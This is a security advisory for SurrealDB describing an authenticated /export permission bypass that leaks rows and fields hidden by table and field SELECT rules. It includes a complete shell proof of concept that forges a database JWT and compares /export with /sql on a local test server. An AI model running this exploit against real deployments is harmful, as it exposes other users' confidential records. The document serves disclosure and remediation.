GHSA-QH3V-RR48-X3CQ
Authenticated Export Permission Bypass
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-QH3V-RR48-X3CQ divulgada · CVSS 6.5 (GitHub) | |
| Remediación | Parche 4.0.0 | surrealdb · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Authenticated Export Permission Bypass
Summary
At revision `18971ffba781a796c0ad3897bb4b82432c241e4c`, an authenticated database-view caller can invoke `GET /export` and receive raw records without the table `SELECT` predicate or field-level `SELECT` projection enforced by the same caller's `/sql` session. A pinned runtime comparison with a database JWT carrying `AC=low` and `RL=[]` returned a non-empty export containing a non-owner row and a `SELECT NONE` field, while same-token SQL returned only the owner-visible row and an unrestricted control row. This demonstrates a confidentiality bypass at the exact tested revision; no broader release range is inferred.
Technical Details
The HTTP export handler in `surrealdb/server/src/ntw/export.rs` checks the route capability, requires a namespace and database, authorizes database `View`, and calls `db.export_with_config(&session, ...)`. `Datastore::export_with_config` creates a read-only transaction and dispatches to the export implementation in `surrealdb/core/src/kvs/export.rs`.
The export chain reaches `export_table_data` and `export_regular_data`. The latter scans raw key/value records, decodes each value, and emits an `INSERT` statement. That path does not evaluate the requesting session's table `SELECT` predicate or apply the field-level permission filter before serialization. The `/sql` path uses the same session, checks table visibility during record resolution, and filters fields before returning them. Consequently, the two supported read surfaces expose different data to the same authenticated principal.
PoV
The following fixture is executed by the PoC as the root database administrator after selecting namespace `lab` and database `db`:
-- Fixture for the authenticated database JWT /export versus /sql
-- differential. Execute these statements as the root database administrator
-- after selecting namespace lab and database db.
DEFINE TABLE secrets SCHEMAFULL PERMISSIONS FOR SELECT WHERE owner_key = 'attacker';
DEFINE FIELD owner_key ON secrets TYPE string;
DEFINE FIELD secret ON secrets TYPE string PERMISSIONS FOR SELECT NONE;
DEFINE TABLE public SCHEMAFULL PERMISSIONS FULL;
DEFINE FIELD marker ON public TYPE string PERMISSIONS FULL;
CREATE secrets:owned SET owner_key = 'attacker', secret = 'owned-secret';
CREATE secrets:hidden SET owner_key = 'other-principal', secret = 'hidden-secret';
CREATE public:control SET marker = 'export-control';
-- The PoC signs an HS256 database access token with this key and sends
-- RL:[] so the caller is database-scoped but has no built-in Viewer role.
DEFINE ACCESS low ON DATABASE TYPE JWT ALGORITHM HS256 KEY 'runtime-low-key';The `secrets` table should expose only the `attacker` row, and the `secret` field should be hidden. `public:control` is an unrestricted control record. The caller token is a database JWT for `lab`/`db` with access `low` and an explicit empty role list (`RL=[]`).
PoC
Run this from a temporary working directory with the tested executable available on `PATH` as `surreal`. The checks pin its version, SHA-256, source revision, and fixture contents. The block creates its own fixture, names the working directory explicitly, saves each HTTP body before printing it, and uses the same database JWT for `/export` and `/sql`:
set -eu
SURREAL_BIN=$(command -v surreal)
test -x "$SURREAL_BIN"
tested_revision=18971ffba781a796c0ad3897bb4b82432c241e4c
expected_binary_version='3.3.0-nightly for linux on x86_64'
expected_binary_sha256=b4170108564b55f4b37275e9b87cbc2b50e4dc9933c9f4bcbeb331b5b58a7dc4
command -v sha256sum >/dev/null 2>&1
binary_sha256=$(sha256sum "$SURREAL_BIN" | awk '{print $1}')
binary_version=$("$SURREAL_BIN" version 2>&1 | tail -n 1)
printf 'tested_revision=%s\n' "$tested_revision"
printf 'binary_version=%s\n' "$binary_version"
printf 'binary_sha256=%s\n' "$binary_sha256"
test "$tested_revision" = '18971ffba781a796c0ad3897bb4b82432c241e4c'
test "$binary_version" = "$expected_binary_version"
test "$binary_sha256" = "$expected_binary_sha256"
workdir=$(mktemp -d)
server_pid=
cleanup() { kill "$server_pid" 2>/dev/null || true; wait "$server_pid" 2>/dev/null || true; rm -rf "$workdir"; }
trap cleanup EXIT INT TERM
cp "$SURREAL_BIN" "$workdir/surreal"
cd "$workdir"
chmod 755 ./surreal
cat >fixture.surql <<'SURQL'
-- Fixture for the authenticated database JWT /export versus /sql
-- differential. Execute these statements as the root database administrator
-- after selecting namespace lab and database db.
DEFINE TABLE secrets SCHEMAFULL PERMISSIONS FOR SELECT WHERE owner_key = 'attacker';
DEFINE FIELD owner_key ON secrets TYPE string;
DEFINE FIELD secret ON secrets TYPE string PERMISSIONS FOR SELECT NONE;
DEFINE TABLE public SCHEMAFULL PERMISSIONS FULL;
DEFINE FIELD marker ON public TYPE string PERMISSIONS FULL;
CREATE secrets:owned SET owner_key = 'attacker', secret = 'owned-secret';
CREATE secrets:hidden SET owner_key = 'other-principal', secret = 'hidden-secret';
CREATE public:control SET marker = 'export-control';
-- The PoC signs an HS256 database access token with this key and sends
-- RL:[] so the caller is database-scoped but has no built-in Viewer role.
DEFINE ACCESS low ON DATABASE TYPE JWT ALGORITHM HS256 KEY 'runtime-low-key';
SURQL
fixture_sha256=$(sha256sum fixture.surql | awk '{print $1}')
printf 'fixture_sha256=%s\n' "$fixture_sha256"
test "$fixture_sha256" = c707a2cc6942d30c357770320f7a1e84bd59be8a07f6141441cd81e2a5028ff1
base=http://127.0.0.1:8000
./surreal start --bind 127.0.0.1:8000 memory --no-banner --log error \
--user root --pass root >surreal-export.log 2>&1 &
server_pid=$!
ready=0
i=0
while [ "$i" -lt 60 ]; do
if curl --silent --show-error --fail --max-time 2 "$base/ready" >/dev/null; then
ready=1
break
fi
i=$((i + 1))
sleep 1
done
test "$ready" -eq 1
curl --silent --show-error --fail --user root:root \
--data-binary 'DEFINE NAMESPACE lab;' "$base/sql" >/dev/null
curl --silent --show-error --fail --user root:root \
-H 'surreal-ns: lab' --data-binary 'DEFINE DATABASE db;' "$base/sql" >/dev/null
curl --silent --show-error --fail --user root:root \
-H 'surreal-ns: lab' -H 'surreal-db: db' \
--data-binary @fixture.surql "$base/sql" >/dev/null
b64url() { base64 | tr '+/' '-_' | tr -d '=\n'; }
now=$(date +%s)
header=$(printf '%s' '{"alg":"HS256","typ":"JWT"}' | b64url)
payload=$(printf '{"NS":"lab","DB":"db","AC":"low","RL":[],"iat":%s,"exp":%s}' \
"$now" "$((now + 3600))" | b64url)
unsigned="$header.$payload"
signature=$(printf '%s' "$unsigned" | \
openssl dgst -sha256 -hmac 'runtime-low-key' -binary | b64url)
token="$unsigned.$signature"
printf 'token_claims=NS=lab DB=db AC=low RL=[]\n'
curl --silent --show-error --fail \
-H "Authorization: Bearer $token" \
-H 'surreal-ns: lab' -H 'surreal-db: db' \
"$base/export" | tee export.sql
sql_query='RETURN $auth.id; SELECT * FROM secrets; SELECT * FROM public;'
curl --silent --show-error --fail \
-H "Authorization: Bearer $token" -H 'Content-Type: text/plain' \
-H 'surreal-ns: lab' -H 'surreal-db: db' \
--data-binary "$sql_query" "$base/sql" | tee sql.json
contains() { grep -Fq "$1" "$2"; }
contains 'secrets:hidden' export.sql && export_hidden_row=1 || export_hidden_row=0
contains 'hidden-secret' export.sql && export_hidden_field=1 || export_hidden_field=0
contains 'secrets:hidden' sql.json && sql_hidden_row=0 || sql_hidden_row=1
contains 'hidden-secret' sql.json && sql_hidden_field=0 || sql_hidden_field=1
contains 'secrets:owned' sql.json && sql_owned_row=1 || sql_owned_row=0
contains 'public:control' sql.json && sql_control_row=1 || sql_control_row=0
printf 'export_contains_hidden_row=%s\n' "$export_hidden_row"
printf 'export_contains_hidden_field=%s\n' "$export_hidden_field"
printf 'sql_omits_hidden_row=%s\n' "$sql_hidden_row"
printf 'sql_omits_hidden_field=%s\n' "$sql_hidden_field"
printf 'sql_contains_owned_row=%s\n' "$sql_owned_row"
printf 'sql_contains_control_row=%s\n' "$sql_control_row"
test "$export_hidden_row" -eq 1
test "$export_hidden_field" -eq 1
test "$sql_hidden_row" -eq 1
test "$sql_hidden_field" -eq 1
test "$sql_owned_row" -eq 1
test "$sql_control_row" -eq 1The two `tee` commands print and save the complete response bodies, so no displayed response is a shortened or separately normalized copy. The PoC emits the following deterministic lines; the response bodies appear between the `token_claims` line and the six result lines and are omitted here:
tested_revision=18971ffba781a796c0ad3897bb4b82432c241e4c
binary_version=3.3.0-nightly for linux on x86_64
binary_sha256=b4170108564b55f4b37275e9b87cbc2b50e4dc9933c9f4bcbeb331b5b58a7dc4
fixture_sha256=c707a2cc6942d30c357770320f7a1e84bd59be8a07f6141441cd81e2a5028ff1
token_claims=NS=lab DB=db AC=low RL=[]
export_contains_hidden_row=1
export_contains_hidden_field=1
sql_omits_hidden_row=1
sql_omits_hidden_field=1
sql_contains_owned_row=1
sql_contains_control_row=1The same-token POST `/sql` response is the negative control: it returns the owner-visible row and unrestricted control row while omitting the hidden row and `SELECT NONE` field.
Impact
An authenticated low-privilege database principal who can reach `/export` can obtain cross-user records and fields that the session-aware SQL path would hide. This is a high-confidentiality disclosure issue; integrity and availability were not evaluated.
Suggested Fix
Retain the database-level route check, but evaluate every decoded record with the requesting session's table `SELECT` permission before serializing it. Apply the existing field-level permission filter to the permitted value before producing the `INSERT` statement. Carry the session or equivalent authorization context through `handle_inner`, `export_with_config`, `export`, `export_tables`, and `export_table_data`.
Add regression coverage with an owner-visible row, a non-owner row hidden by a table predicate, a `SELECT NONE` field, and a fully permitted control table. Compare `/export` and `/sql` under the same authenticated token and assert that the hidden row and field never occur in exported SQL.
Affected Package/Versions
- Ecosystem: Rust
- Package: `surrealdb`
- Tested revision: `18971ffba781a796c0ad3897bb4b82432c241e4c`
- Tested runtime: `3.3.0-nightly for linux on x86_64`
- Affected range basis: exact tested revision only
- Patched versions: not established
No broader release range, first-vulnerable release, or fixed release is inferred from this revision.
Advisory History
Before drafting this report, I checked prior submitted reports, reports marked ready for review, and completed reports that had not been submitted. None describes this authenticated export permission bypass. The related public export-permission fix below addresses permission definitions in exported metadata, whereas this report concerns raw table-record serialization and field disclosure.
PR 7100, “Fix missing and invalid permissions in v3 export” https://github.com/surrealdb/surrealdb/pull/7100 concerns permission definitions in v3 export metadata. This report concerns raw table-record serialization reached by an authenticated database export caller; the sink and correction differ.
GHSA-vjjx-rfw4-rmfc https://github.com/surrealdb/surrealdb/security/advisories/GHSA-vjjx-rfw4-rmfc and GHSA-hv6h-hc26-q48p https://github.com/surrealdb/surrealdb/security/advisories/GHSA-hv6h-hc26-q48p concern graph or reference traversal. GHSA-8rw6-p7m8-63jp https://github.com/surrealdb/surrealdb/security/advisories/GHSA-8rw6-p7m8-63jp, GHSA-h4h3-3rfj-x6fq https://github.com/surrealdb/surrealdb/security/advisories/GHSA-h4h3-3rfj-x6fq, and GHSA-c8jx-96c9-8xrp https://github.com/surrealdb/surrealdb/security/advisories/GHSA-c8jx-96c9-8xrp concern query filtering or planner side channels. GHSA-98fx-66cf-fc7c https://github.com/surrealdb/surrealdb/security/advisories/GHSA-98fx-66cf-fc7c concerns permission-expression evaluation, and GHSA-66r2-5gwj-gxm2 https://github.com/surrealdb/surrealdb/security/advisories/GHSA-66r2-5gwj-gxm2 concerns writes during permission evaluation. None documents this authenticated `/export` raw-record serialization path.
References
- Export HTTP handler at the tested revision
https://github.com/surrealdb/surrealdb/blob/18971ffba781a796c0ad3897bb4b82432c241e4c/surrealdb/server/src/ntw/export.rs#L70-L92 - Datastore export dispatch at the tested revision
https://github.com/surrealdb/surrealdb/blob/18971ffba781a796c0ad3897bb4b82432c241e4c/surrealdb/core/src/kvs/ds.rs#L4030-L4051 - Raw export traversal at the tested revision
https://github.com/surrealdb/surrealdb/blob/18971ffba781a796c0ad3897bb4b82432c241e4c/surrealdb/core/src/kvs/export.rs#L160-L498 - Session-aware SQL handler at the tested revision
https://github.com/surrealdb/surrealdb/blob/18971ffba781a796c0ad3897bb4b82432c241e4c/surrealdb/server/src/ntw/sql.rs#L38-L60 - Table and field permission checks at the tested revision
https://github.com/surrealdb/surrealdb/blob/18971ffba781a796c0ad3897bb4b82432c241e4c/surrealdb/core/src/exec/operators/scan/common.rs#L119-L248 - SurrealDB import/export security guide
https://github.com/surrealdb/surrealdb/blob/18971ffba781a796c0ad3897bb4b82432c241e4c/SECURITY_GUIDE.md#L481-L509
Patches
A patch has been created that enforces the caller's permissions on the export route, so an authenticated caller can no longer export data they are not permitted to read.
- Version 4.0.0 and later are not affected by this issue.
References
- SurrealDB Documentation — Export
https://surrealdb.com/docs/surrealdb/cli/export - `fix(export): authenticated export permission bypass` (commit `13c804dbf8`)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
crates.iosurrealdb |
Corregida | 4.0.0 | 0 d | 4.0.1 no afectada |
4.0.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/surrealdb/surrealdb/security/advisories/GHSA-qh3v-rr48-x3cqLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
